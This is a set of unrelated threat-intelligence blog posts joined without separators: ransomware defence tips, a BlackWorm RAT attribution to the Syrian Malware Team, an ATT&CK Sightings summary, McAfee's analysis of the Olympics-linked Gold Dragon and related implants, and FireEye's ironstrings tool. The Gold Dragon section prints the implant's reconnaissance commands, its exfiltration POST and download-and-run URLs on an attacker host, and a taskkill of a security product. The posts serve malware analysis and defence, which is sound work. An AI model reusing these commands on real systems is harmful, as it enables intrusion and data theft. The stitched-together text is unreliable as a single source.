Take care of updating both client-side and server-side software; Perform security audits, check equipment security , and keep track of which ports are open and accessible from the Internet.
Use a secure connection for remote work, but remember that even VPNs can be vulnerable; Create backups of corporate data.
Having backups helps not only to reduce downtime and restore business processes faster in the event of a ransomware attack, but also to recover from more humdrum events such as hardware malfunctions; Use a professional security solution that employs behavioral analysis and antiransomware technologies; Deploy information security system that is able to recognize anomalies in the network infrastructure, such as attempts to probe ports or requests to access non-standard systems.
Engage outside expertise if you don’t have in-house specialists capable of monitoring the network.
The Syrian Electronic Army has made news for its recent attacks on major communications websites , Forbes , and an alleged attack on CENTCOM .
While these attacks garnered public attention, the activities of another group - The Syrian Malware Team - have gone largely unnoticed.
The group’s activities prompted us to take a closer look.
We discovered this group using a .NET based RAT called BlackWorm to infiltrate their targets.
The Syrian Malware Team is largely pro-Syrian government, as seen in one of their banners featuring Syrian President Bashar al-Assad.
Based on the sentiments publicly expressed by this group it is likely that they are either directly or indirectly involved with the Syrian government.
Further certain members of the Syrian Malware Team have ties to the Syrian Electronic army (SEA) known to be linked to the Syrian government .
This indicates that the Syrian Malware Team may also be possibly an offshoot or part of the SEA.
Banner used by the Syrian Malware Team BlackWorm
Authorship We found at least two distinct versions of the BlackWorm tool, including an original/private version (v0.3.0) and the Dark Edition (v2.1).
The original BlackWorm builder was co-authored by Naser Al Mutairi from Kuwait, better known by his online moniker 'njq8'.
He is also known to have coded njw0rm , njRAT/LV , and earlier versions of H-worm/Houdini .
We found his code being used in a slew of other RATs such as Fallaga and Spygate.
BlackWorm v0.3.0 was also co-authored by another actor, Black Mafia.
About section within the original version of BlackWorm builder Within the underground development forums, it’s common for threat actors to collaborate on toolsets.
Some write the base tools that other attackers can use; others modify and enhance existing tools.
The BlackWorm builder v2.1 is a prime example of actors modifying and enhancing current RATs.
After njq8 and Black Mafia created the original builder, another author, Black.
Hacker, enhanced its feature set.
About section within BlackWorm Dark Edition builder Black.
Hacker's banner on social media As an interesting side note, 'njq8' took down his blog in recent months and announced a cease in all malware development activity on his Twitter and Facebook account, urging others to stop as well.
This is likely a direct result of the lawsuit filed against him by Microsoft .
BlackWorm
RAT Features The builder for BlackWorm v0.3.0 is fairly simple and allows for very quick payload, but doesn’t allow any configuration other than the IP address for command and control (C2).
Building binary through BlackWorm v0.3.0 BlackWorm v0.3.0 controller BlackWorm v0.3.0 supports the following commands between the controller and the implant: ping Checks if victim is online closeserver Exits the implant restartserver Restarts the implant sendfile Transfer and run file from server download Download and run file from URL ddos Ping flood target msgbox Message interaction with victim down Kill critical windows processes blocker Block specified website by pointing resolution to 127.0.0.1 logoff Logout out of windows restart Restart system shutdown Shutdown system more Disable task manager, registry tools, system restore.
Also blocks keyboard and mouse input hror Displays a startling flash video
In addition to the features supported by the command structure, the payload can: Seek and kill no-ip processes DUC30 and DUC20 Disable Task Manager to kill process dialog Copy itself to USB drives and create autorun entries Copy itself to common peer-to-peer (P2P) share locations Collect system information such as OS, username, hostname, presence of camera, active window name, etc., to display in the controller Kill the following analysis processes (if found): procexp SbieCtrl SpyTheSpy SpeedGear Wireshark MBAM ApateDNS IPBlocker cPorts ProcessHacker AntiLogger
The Syrian Malware Team primarily uses another version of BlackWorm called the Dark Edition (v2.1).
BlackWorm v2.1 was released on a prolific underground forum where information and code is often shared, traded and sold.
BlackWorm v2.1 has the same abilities as the original version and additional functionality, including bypassing UAC, disabling host firewalls and spreading over network shares.
Unlike its predecessor, it also allows for granular control of the features available within the RAT.
These additional controls allow the RAT user to enable and disable features as needed.
Binary output can be also be generated in multiple formats, such as .exe, .src
and .dll.
BlackWorm Dark Edition builder Syrian Malware Team
We observed activity from the Syrian Malware Team going as far back as Jan. 1, 2011.
Based on Facebook posts, they are allegedly directly or indirectly involved with the Syrian government.
Their Facebook page shows they are still very active, with a post as recent as July 16 th , 2014.
Syrian Malware Team’s Facebook page The Syrian Malware Team has been involved in everything from profiling targets to orchestrating attacks themselves.
There are seemingly multiple members, including: https://www.facebook.com/hawk.syrian.9 https://www.facebook.com/kays.syr Partial list of self-proclaimed Syrian Malware Team members Some of these people have posted malware-related items on Facebook.
Facebook posting of virus scanning of files While looking for Dark Edition samples, we discovered a binary named svchost.exe (MD5: 015c51e11e314ff99b1487d92a1ba09b).
We quickly saw indicators that it was created by BlackWorm Dark Edition.
Configuration options within code
The malware communicated out to 178.44.115.196, over port 5050, with a command structure of: !0
/j|n\\12121212_64F3BF1F/j|n\\{Hostname}/j|n\\{Username}/j|n\\USA/j|n\\Win 7 Professional SP1 x86/j|n\\No/j|n\\2.4.0 [ Dark Edition]/j|n\\/j|n\\{ActiveWindowName}/j|n\\[endof]
When looking at samples of Dark Edition BlackWorm being used by the Syrian Malware Team, the strings “Syrian Malware,” or “ Syrian Malware Team ” are often used in the C2 communications or within the binary strings.
Additional pivoting off of svchost.exe brought us to three additional samples apparently built with BlackWorm Dark Edition.
E.exe, (MD5: a8cf815c3800202d448d035300985dc7) a binary that drew our attention, looked to be a backdoor with the Syrian Malware strings within it.
When executed, the binary beacons to aliallosh.sytes.net on port 1177.
This C2 has been seen in multiple malware runs often associated with Syria.
The command structure of the binary is: !0
/j|n\\Syrian Malware/j|n\\{Hostname}/j|n\\{Username}/j|n\\USA/j|n\\Win 7 Professional SP1 x86/j|n\\No/j|n \\0.1/j|n\\/j|n\\{ActiveWindowName}/j|n\\[endof] Finally, pivoting to another sample, 1gpj.srcRania (MD5:f99c15c62a5d981ffac5fdb611e13095), the same strings were present.
The string \"Rania\" used as a lure was in Arabic and likely refers to the prolific Queen Rania of Jordan .
The traffic is nearly identical to the other samples we identified and tied to the Syrian Malware Team.
!
1/j|n\\C:\\Documents and Settings\\{Username}\\Local Settings\\Application DataldoDrZdpkK.jpg - Windows Internet Explorer[endof]!0/
j|n\\Syrian Malware/j|n\\{Hostname}/j|n\\{Username}/j|n\\USA/j|n\\Win
XP ProfessionalSP2 x86/j|n\\No/j|n\\0.1/j|n\\/j|n\\C:\\Documents and Settings\\{Username}\\Local Settings\\Application DataldoDrZdpkK.jpg - {ActiveWindowName}/j|n\\[endof]
Conclusion Determining which groups use which malware is often very difficult.
Connecting the dots between actors and malware typically involves looking at binary code, identifying related malware examples associated with those binaries, and reviewing infection vectors, among other things.
This blog presents a prime example of the process of attribution.
We connected a builder with malware samples and the actors/developers behind these attacks.
This type of attribution is key to creating actionable threat intelligence to help proactively protect organizations.
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It’s common knowledge in the cybersecurity industry that attackers are evolving, and their attacks are becoming more sophisticated.
As a result, the harm and cost to targeted victims and organizations are also steadily increasing.
This situation demands a smart and innovative response from security practitioners because no organization can defend against every threat.
Trying to protect against all the adversarial TTPs (tactics, techniques, and procedures) threat actors deploy would be extraordinarily costly and difficult to maintain for most enterprises.
Perhaps the greatest challenge is scale.
More than 370 attack techniques have been documented to date, and every quarter or so, another technique or implementation of a technique appears.
Keeping track of attack techniques and launching appropriate and timely countermeasures can overwhelm most defense systems and security professionals.
Narrowing down the scope and scale of potential attacks is a critical first line of defense.
Fortunately, help is on the way in the form of a just-published research paper titled 2021 ATT&CK Sightings Report that addresses the question: “Which of these techniques do we need to prioritize and prepare to fight?”
The Sightings Report is based on a research project run by MITRE Engenuity’s Center for Threat-Informed Defense (Center) in collaboration with Fortinet’s FortiGuard Labs and several other Center participants.
The researchers analyzed more than one million attacks using the MITRE ATT&CK® framework , collected over 28 months (April 1, 2019, to July 31, 2021), to provide contextual, actionable threat intelligence to explain how attackers are conducting their nasty business.
This threat intelligence report provides crucial visibility into which TTPs are being used the most by cyber adversaries.
Its “high resolution” visibility helps security professionals identify those threats they are most likely to face.
This enables them to quickly prioritize and fine-tune their defenses, including what security technologies to deploy and where.
The research from the Sightings Report paints “a picture of common adversary behavior, including which techniques adversaries use, how their use changes over time, and how adversaries sequence techniques.
Defenders can use this information to create a threat-informed defense against what they are most likely to see, not just the latest cyberthreat headlines.”
The Extremely Useful Takeaway The biggest takeaway from the research data is that 90% of all attacks arise from only 15 techniques across six tactics.
This intel is extremely useful as it significantly narrows down the most likely threats from the entire corpus of more than 370 possible techniques across 14 tactics.
The MITRE ATT&CK framework has been the de facto standard for mapping and responding to cyberattacks of all types.
Using it to analyze aggregated global threat data from various sources and then presenting according to the prevalence of potential attacks gives defenders a unique opportunity to change the economics of the attack cycle.
Instead of testing for all techniques and their respective defenses—which can be very costly and time-consuming—defenders can now prioritize specific techniques and build defenses around them while focusing their red team efforts on trying new strategies for implementing those techniques.
The Top Tactics A deeper look at those six tactics that account for 90% of all attacks reveals even more helpful information.
Five of those tactics involve defensive evasion , which involves exploiting security gaps to prevent detection.
The report’s detailed analysis of this tactic provides crucial insight into how attackers try to get around security holes, enabling defenders to identify similar weaknesses in their defenses and effectively close those gaps.
It also identifies which parts of the ATT&CK matrix attackers focus on to best hide their efforts.
The second most common tactic employed is privilege escalation , which makes sense given that most enterprise systems today are protected using privilege isolation.
This information helps security teams assess and correct their internal functions, such as using admin user privilege levels for basic tasks like emailing and browsing.
Remember that attackers will struggle to take over a system when an unprivileged user is compromised.
It’s All in the Technique Many of the specific techniques identified in the report are heavily focused on “living off the land.”
This means using legitimate systems, tools, or functions already present on a system to move around the device or network without attracting attention.
T1053 (Schedule Task/Job) is the most common of these techniques, representing over 24% of all sightings.
It is followed by Command and Script Interpreter (T1059) , representing 15.77%.
These techniques have been employed across all major platforms, attacking Linux , Windows, and macOS.
The other techniques combined accounted for less than 11% of all sightings.
Zero-trust strategies can play a critical role in defending against these techniques.
Again, quoting from the report, “Adversaries are attempting to appear as legitimate users.
Therefore, creating strong baselines and restricting permissions is key to detecting and disrupting adversary behaviors.”
This information gives defenders an upper hand in effectively preparing and hardening their systems since it’s clear from the global data on these TTPs that attackers are trying to appear as legitimate users.
Without strong baselines of normal end-user behavior and company-approved applications and the ability to restrict access to systems and resources based on policy, detection and mitigation of threats designed to look like “normal” behavior can be nearly impossible.
Fortunately, defenders aren’t left to figure out how best to defend against these threats.
The report also provides deeper insight into how organizations can go about detecting and containing these threats using open-source tools and intel, as well as which techniques are generally seen together to facilitate proactive threat hunting, which is one of the most potent actions cyber defenders can take to lessen the impact of an attack.
Low Cost, High Return Intelligence With this research paper, the Center has provided the cybersecurity community with valuable, up-to-date intelligence that can be widely used to prioritize defensive actions.
And it provides it in a low-cost way while providing a high return.
Because of the specific insight and guidance it provides, cyberdefenders worldwide can build threat-informed defenses using curated, high-fidelity data.
Security is everyone’s responsibility, and if we have more secure organizations, the internet and the digital economy will be more stable and predictable.
And that’s a win for everyone.
Fortinet has been at the forefront of cybersecurity innovation and research for more than 20 years.
We are proud to have been able to leverage this expertise in our participation in the Sightings research project with the Center.
Read and learn more in the report or view the infographic .
By Ryan Sherstobitoff and Jessica Saavedra-Morales on Feb 02, 2018 UPDATE (Feb. 12, 2018):
A new variant of the original file-less implant appeared on Feb. 5, 2018, indicating the attack has resumed.
The new variant has the same author and metadata as the original documents discovered in December, as well as a nearly identical implant.
A key difference, however, is the attackers leveraged hacked servers is Santiago, Chile.
See indicators of compromise for this update at the bottom of this post.
ORIGINAL POST (Feb. 2, 2018):
McAfee Advanced Threat Research (ATR) recently released a report describing a fileless attack targeting organizations involved with the Pyeongchang Olympics.
The attack used a PowerShell implant that established a channel to the attacker’s server to gather basic system-level data.
What was not determined at that time was what occurred after the attacker gained access to the victim’s system.
McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access.
We have named these implants, which appeared in December 2017, Gold Dragon, Brave Prince, Ghost419, and Running Rat, based on phrases in their code.
On December 24, 2017, our analysts observed the Korean-language implant Gold Dragon.
We now believe this implant is the second-stage payload in the Olympics attack that ATR discovered January 6, 2018.
The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server.
However, this implant required additional modules to be executed to be a fully capable backdoor.
In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task.
Gold Dragon has a much more robust persistence mechanism than the initial PowerShell implant and enables the attacker to do much more to the target system.
Gold Dragon reappeared the same day that the Olympics campaign began.
The Gold Dragon malware appears to have expanded capabilities for profiling a target’s system and sending the results to a control server.
The PowerShell implant had only basic data-gathering capabilities—such as username, domain, machine name, and network configuration—which are useful only for identifying interesting victims and launching more complex malware against them.
Gold Dragon Gold Dragon is a data-gathering implant observed in the wild since December 24.
Gold Dragon gets its name from the hardcoded domain www.golddragon.com, which we found throughout the samples.
This sample acts as a reconnaissance tool and downloader for subsequent payloads of the malware infection and payload chain.
Apart from downloading and executing binaries from the control server, Gold Dragon generates a key to encrypt data that the implant obtains from the system.
This URL is not used for control; the encrypted data is sent to the server ink.inkboom.co.kr, which was used by previous implants as early as May 2017.
Gold Dragon contains elements, code, and similar behavior to implants Ghost419 and Brave Prince, which we have tracked since May 2017.
A DLL-based implant created on December 21 (the same day the first malicious Olympics document appeared) was downloaded by a Gold Dragon variant created December 24.
This variant was created three days before the targeted spear phishing email with the second document that was sent to 333 victim organizations.
The December 24 variant of Gold Dragon used the control server nid-help-pchange.atwebpages.com, which was also used by a Brave Prince variant from December 21.
The first variants of Gold Dragon appeared in the wild in South Korea in July 2017.
The original Gold Dragon had the file name 한글추출.exe, which translates as Hangul Extraction and was seen exclusively in South Korea.
Five variants of Gold Dragon compiled December 24 appeared heavily during the targeting of the Olympics organizations.
Analyzing Gold Dragon As part of its initialization, Gold Dragon: Builds its imports by dynamically loading multiple APIs from multiple libraries Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes The malware does not establish persistence for itself but for another component (if it is found) on the system: The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system.
(HWP is a Korean word processor similar to Microsoft Word.)
Checking for HWP.exe in the process list.
If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe This word file (usually named *.hwp) is copied into the temporary file path C:\\DOCUME~1\\<username>\\LOCALS~1\\Temp\\2.hwp hwp is an exact copy of the file loaded into HWP.exe
The malware reads the contents of 2.hwp and finds an “MZ magic marker” in the file indicated by the string “JOYBERTM” Checking for the MZ marker in the HWP file.
This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user:
C:\\Documents and Settings\\<username>\\Start Menu\\Programs\\Startup\\viso.exe
This step establishes the persistence of the malware across reboots on the endpoint Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint The malware might perform this activity for a couple of reasons: Establish persistence for itself on the endpoint Establish persistence of another component of the malware on the endpoint Update itself on endpoint after a separate updater component downloads the update from the control server The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware.
Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server: C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp
The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server: Directory listing of the user’s Desktop folder using command: cmd.exe /c
dir
C:\\DOCUME~1\\<username>\\Desktop\\ >>
C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp
Directory listing of the user’s recently accessed files using command: cmd.exe /c
dir C:\\DOCUME~1\\<username>\\Recent >>
C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp
Directory listing of the system’s %programfiles% folder using command: cmd.exe /c
dir C:\\PROGRA~1\\ >> C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp
Systeminfo of the endpoint using command: cmd.exe /c
systeminfo >> C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp
Copies the file ixe000.bin from: C:\\Documents and Settings\\<username>\\Application
Data\\Microsoft\\Windows\\UserProfiles\\ixe000.bin
To: C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp
Registry key and value information for the current user’s Run key (with information collected):
HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Number of subkeys (<KeyIndex>)
<KeyName> Number of Values under each key including the parent Run key (<ValueIndex>) <Value_Name>
<Value_Content>
Registry Run key enumeration by Gold Dragon.
An example of 1.hwp with registry and system information: Gold Dragon executes these steps executed in the exfiltration process: Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com”
The encrypted content is written to the data file 1.hwp.
During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL: http://ink[dot]inkboom.co.kr/host/img/jpg/post.php HTTP data/parameters used in the request include: Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info>
User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET
CLR 1.1.4322) Accept-Language: en-us HTTP
Version:
HTTP/1.0 The malware can also download and execute additional components served to it by the control server.
The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin
After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\hupdate.ex (note “ex,” not “exe”)
The capability to download additional components from the control server.
The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products: The presence of any process with the keywords “v3” and “cleaner.”
Checking for antimalware or cleaner processes.
If found, these processes are terminated by sending a WM_CLOSE message to their windowing threads.
Terminating an antimalware/cleaner process.
Brave Prince Brave Prince is a Korean-language implant that contains similar code and behavior to the Gold Dragon variants, specifically the system profiling and control server communication mechanism.
The malware gathers detailed logs about the victim’s configuration, contents of the hard drive, registry, scheduled tasks, running processes, and more.
Brave Prince was first observed in the wild December 13, 2017, sending logs to the attacker via South Korea’s Daum email service.
Later variants posted the data to a web server via an HTTP post command, in the same way that Gold Dragon does.
The embedded domain braveprince.com.
The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat.
This file is sent as an attachment to the attacker’s email address.
Later variants upload the file to a web server via an HTTP post command.
The type of data this implant gathers from the victim’s system: Directories and files Network configuration Address resolution protocol cache Systemconfig to gather tasks Both variants of Brave Prince can kill a process associated with a tool created by Daum that can block malicious code.
This tool is exclusive to South Korea.
taskkill /f /im daumcleaner.exe
The later variants of Brave Prince include the following hardcoded strings: c:\\utils\\c2ae_uiproxy.exe c:\\users\\sales\\appdata\\local\\temp\\dwrrypm.dl Ghost419 Ghost419 is a Korean-language implant that first appeared in the wild December 18, 2017, with the most recent sample appearing two days before the Olympics spear phishing email.
The malware can be identified by the hardcoded string and URL parameter passed to the control server.
Ghost419 can be traced to a sample created July 29, 2017, that appears to be a much earlier version (without the hardcoded identifier).
The July version shares 46% of its code with samples created in late December.
This early version implant creates a unique mutex value (kjie23948_34238958_KJ238742) that also appears in a sample from December, with the exception that one digit has changed.
Ghost419 is based on Gold Dragon and Brave Prince implants and contains shared elements and code, especially for system reconnaissance functions.
Hardcoded “Ghost419” in the malware binary.
The string “WebKitFormBoundarywhpFxMBe19cSjFnG,” part of the upload mechanism, also appears in the Gold Dragon variants of late December 2017.
Gold Dragon sample.
Ghost419 sample.
Numerous other similarities are present in addition to system reconnaissance methods; the communication mechanism uses the same user agent string as Gold Dragon.
Gold Dragon user agent string.
Ghost419 user agent string.
RunningRat RunningRat is a remote access Trojan (RAT) that operates with two DLLs.
It gets its name from a hardcoded string embedded in the malware.
Upon being dropped onto a system, the first DLL executes.
This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence.
The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program.
The batch file then attempts to remove itself.
The first DLL unpacks a resource file attached to the DLL using a zlib decompression algorithm.
The authors of the malware left the debugging strings in the binary, making the algorithm easy to identify.
The second DLL is decompressed in memory and never touches the user’s file system; this file is the main RAT that executes.
Finally, the first DLL adds the registry key “SysRat,” at SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run, to ensure the malware is executed at startup.
After the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server, effectively changing the address the malware will communicate with.
This address is hardcoded in the second DLL as 200.200.200.13 and is modified by the first DLL to 223.194.70.136.
This type of behavior may indicate this code is being reused or is part of a malware kit.
The first DLL uses one common antidebugging technique by checking for SeDebugPrivilege.
Once the second DLL is executed, it gathers information about the victim system’s setup, such as operating system version, and driver and processor information.
The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs.
From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality.
Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more.
However, our current analysis shows no way for such code to be executed.
McAfee ATR analysts will continue to research RunningRat to determine if this extra code is used or is possibly left over from a larger RAT toolkit.
The second DLL employs a few additional antidebugging techniques.
One is the use of a custom exception handler and code paths that are designed to generate exceptions.
There are also a few random empty-nested threads to slow down researchers during static analysis.
The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime.
Conclusion The PowerShell script first discovered by McAfee ATR was delivered via a spear phishing campaign that used image stenography techniques to hide the first-stage implant.
(For more on steganography, see the McAfee Labs Threats Report, June 2017, page 33.)
The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed.
The implants are delivered as a second stage once the attacker gains an initial foothold using fileless malware.
Some of the implants will maintain their persistence only if Hangul Word, which is specific to South Korea, is running.
With the discovery of these implants, we now have a better understanding of the scope of this operation.
Gold Dragon, Brave Prince, Ghost419, and RunningRat demonstrate a much wider campaign than previously known.
The persistent data exfiltration we see from these implants could give the attacker a potential advantage during the Olympics.
We thank Charles Crawford and Asheer Malhotra for their support of this analysis.
Indicators of Compromise IPs 223.194.70.136 Domains trydai.000webhostapp.com follow_dai.000webhostapp.com eodo1.000webhostapp.com nid-help-pchange.atwebpages.com ink.inkboom.co.kr followgho.byethost7.com Hashes fef671c13039df24e1606d5fdc65c92fbc1578d9 06948ab527ae415f32ed4b0f0d70be4a86b364a5 96a2fda8f26018724c86b275fe9396e24b26ec9e ad08a60dc511d9b69e584c1310dbd6039acffa0d c2f01355880cd9dfeef75cff189f4a8af421e0d3 615447f458463dc77f7ae3b0a4ad20ca2303027a
bf21667e4b48b8857020ba455531c9c4f2560740 bc6cb78e20cb20285149d55563f6fdcf4aaafa58 465d48ae849bbd6505263f3323e818ccb501ba88 a9eb9a1734bb84bbc60df38d4a1e02a870962857 539acd9145befd7e670fe826c248766f46f0d041
d63c7d7305a8b2184fff3b0941e596f09287aa66 35e5310b6183469f4995b7cd4f795da8459087a4 11a38a9d23193d9582d02ab0eae767c3933066ec e68f43ecb03330ff0420047b61933583b4144585 83706ddaa5ea5ee2cfff54b7c809458a39163a7a 3a0c617d17e7f819775e48f7edefe9af84a1446b 761b0690cd86fb472738b6dc32661ace5cf18893 7e74f034d8aa4570bd1b7dcfcdfaa52c9a139361 5e1326dd7122e2e2aed04ca4de180d16686853a7 6e13875449beb00884e07a38d0dd2a73afe38283 4f58e6a7a04be2b2ecbcdcbae6f281778fdbd9f9 389db34c3a37fd288e92463302629aa48be06e35 71f337dc65459027f4ab26198270368f68d7ae77 5a7fdfa88addb88680c2f0d5f7095220b4bbffc1 Indicators of Compromise for Feb. 12 update: Hashes Sha1: 7ae731d666e547b4f3442fe5675c8e8719d8d862 URLs hxxps://minibodegaslock.cl:443/components/com_tags/controllers/default_tags.php hxxps://minibodegaslock.cl/components/com_tags/controllers/access_log
This blog post continues our Script Series where the FireEye Labs Advanced Reverse Engineering (FLARE) team shares tools to aid the malware analysis community.
Today, we release ironstrings : a new IDAPython script to recover stackstrings from malware.
The script leverages code emulation to overcome this common string obfuscation technique.
More precisely, it makes use of our flare-emu tool, which combines IDA Pro and the Unicorn emulation engine.
In this blog post, I explain how our new script uses flare-emu to recover stackstrings from malware.
In addition, I discuss flare-emu ’s event hooks and how you can use them to easily adapt the tool to your own analysis needs.
Introduction Analyzing strings in binary files is an important part of malware analysis.
Although simple, this reverse engineering technique can provide valuable information about a program’s use and its capabilities.
This includes indicators of compromise like file paths and domain names.
Especially during advanced analysis, strings are essential to understand a disassembled program’s functionality.
Malware authors know this, and string obfuscation is one of the most common anti-analysis techniques reverse engineers encounter.
Due to the prevalence of obfuscated strings, the FLARE team has already developed and shared various tools and techniques to deal with them.
In 2014 we published an IDA Pro plugin to automate the recovery of constructed strings in malware .
In 2016, we released FLOSS ; a standalone open-source tool to automatically identify and decode strings in malware.
Both solutions rely on vivisect , a Python-based program analysis and emulation framework.
Although vivisect is a robust tool, it may fail to completely analyze an executable file or emulate its code correctly.
And just like any tool, vivisect is susceptible to anti-analysis techniques.
With missing, incomplete, or erroneous processing by vivisect, dependent tools cannot provide the best results.
Moreover, vivisect does not provide an easy-to-use graphical interface to interactively change and enhance program analysis.
I encountered all these shortcomings recently, when I analyzed a GandCrab ransomware sample (version 5.0.4, SHA256 hash: 72CB1061A10353051DA6241343A7479F73CB81044019EC9A9DB72C41D3B3A2C7).
The malware contains various anti-analysis techniques to hinder disassembly and control-flow analysis.
Before I could perform any efficient reverse engineering in IDA Pro, I had to overcome these hurdles.
I used IDAPython to remove various anti-analysis instruction patterns which then allowed the disassembler to successfully identify all functions in the binary.
Many of the recovered functions contained obfuscated strings.
Unfortunately, my changes did not propagate to vivisect, because it performs its own independent analysis on the original binary.
Consequently, vivisect still failed to recognize most functions correctly and I couldn’t use one of our existing solutions to recover the obfuscated strings.
While I could have tried to feed my patches in IDA Pro back to vivisect or to create a modified binary, I instead created a new IDAPython script that does not depend on vivisect.
Thus, circumventing the mentioned shortcomings.
It uses IDA Pro’s program analysis and Unicorn’s emulation engine.
The easy integration of these two tools is powered by flare-emu .
Using IDA Pro instead of vivisect resolves multiple limitations of our previous implementations.
Now changes that users make in their IDB file, e.g.
by patching instructions to manually enhance analysis, are immediately available during emulation.
Moreover, the tool more robustly supports different architectures including x86, AMD64, and ARM.
Stackstrings:
An Example The disassembly listing in Figure 1 shows an example string obfuscation from the sample I analyzed.
The malware creates a string at run-time by moving each character into adjacent stack addresses (gray highlights).
Finally, the sample passes the string’s starting offset as an argument to the InternetOpen API call (blue highlight).
Manually following these memory moves and restoring strings by hand is a very cumbersome process.
Especially if malware complicates value assignments using additional instructions like illustrated below.
Figure 1: Disassembly listing showing stackstring creation and usage Because malware often uses stack memory to create such strings, Jay Smith coined the term stackstrings for this anti-analysis technique.
Note that malware can also construct strings in global memory.
Our new script handles both cases; strings constructed on the stack and in global memory.
ironstrings:
Stackstring Recovery Using flare-emu
The new IDAPython script is an evolution of our existing solutions.
It combines FLOSS’s stackstring recovery algorithm and functionality from our IDA Pro plugin.
The script relies on IDA Pro’s program analysis and emulates code using Unicorn.
The combination of both tools is powered by flare-emu .
Fe , short for flare-emu , is the chemical symbol for iron and hence the script is named ironstrings .
To recover stackstrings, ironstrings enumerates all disassembled functions in a program except for library and thunk functions as identified by IDA Pro.
For each function, the script emulates various code paths through the function and searches for stackstrings based on two heuristics:
Before all call instructions in the function.
As stackstrings are often constructed and then passed to other functions, i.e.
Windows APIs like CreateFile or InternetOpenUrl .
At the end of a basic block containing more than five memory writes.
The number of memory writes is configurable.
This heuristic is helpful if the same memory buffer is used multiple times in a function and if the string construction spans multiple basic blocks.
If any of these conditions apply, the script searches the function’s current stack frame for printable ASCII and UTF-16 strings.
To detect strings in global memory, the script additionally searches for strings in all memory locations that have been written to.
Using flare-emu Hooks to Recover Stackstrings If you’re not already familiar with flare-emu , I recommend reading our previous blog post .
It discusses some of the interfaces the tool provides.
Other helpful resources are the examples and the project documentation available on the flare-emu GitHub .
The stackstrings script uses flare-emu ’s iterateAllPaths API.
The function iterates multiple code paths through a function.
It first finds possible paths from function start to function end.
The tool then forces the emulation down all identified code paths independent from the actual program state.
This extensive code coverage allows ironstrings to recover strings constructed from many different emulation runs.
A key feature of flare-emu are the various hook functions that get triggered by different emulation events.
These hooks, or callbacks, enable the development of very powerful automation tasks.
The available hooks are a combination of Unicorn’s standard hooks, e.g., to hook memory access events, and multiple convenience hooks provided by flare-emu .
The following section briefly describes the available callbacks in flare-emu and illustrates how the ironstrings script uses them to recover obfuscated strings.
instructionHook:
This Unicorn standard hook is triggered before an instruction is emulated.
ironstrings uses this hook to initiate the stackstrings extraction if a basic block contained enough memory writes, for example.
memAccessHook: This Unicorn standard hook is triggered when memory read or write events occur during emulation.
In the stackstrings script this function stores data about all memory writes.
callHook:
This flare-emu hook is activated before each function call.
The hook’s return value is ignored.
In the stackstrings script this hook triggers the extraction of stackstrings.
preEmuCallback:
This flare-emu hook is called before each emulation run.
It is only available in the iterate and the iterateAllPaths functions.
The hook’s return value is ignored.
ironstrings does not use this hook.
targetCallback:
This flare-emu hook gets called whenever one of the specified target addresses is hit.
It is only available in the iterate and the iterateAllPaths functions.
The hook’s return value is ignored.
The stackstrings script does not use this hook.
The code in Figure 2 shows the callback functions that flare-emu ’s API currently supports, their signatures, and examples of how to use them.
All callbacks receive an argument named hookData.
This named dictionary allows the user to provide application specific data to use before, during, and after emulation.
Often, this dictionary is named userData in the user-defined callbacks, as in the examples below, due to its naming in Unicorn.
ironstrings uses this to access function analysis data and store recovered strings across its various hooks.
The dictionary also provides access to the EmuHelper object and emulation meta data.
Figure 2: flare-emu example hook implementations Installation Download and install flare-emu as described at the GitHub installation page .
ironstrings is available, along with our other IDA Pro plugins and scripts, at our ironstrings GitHub page .
Note that both flare-emu and ironstrings were written using the new IDAPython API available in IDA Pro 7.0 and higher.
They are not backwards compatible with previous program versions.
Usage and Options To run the script in IDA Pro, go to File – Script File...
(ALT+F7) and select ironstrings.py .
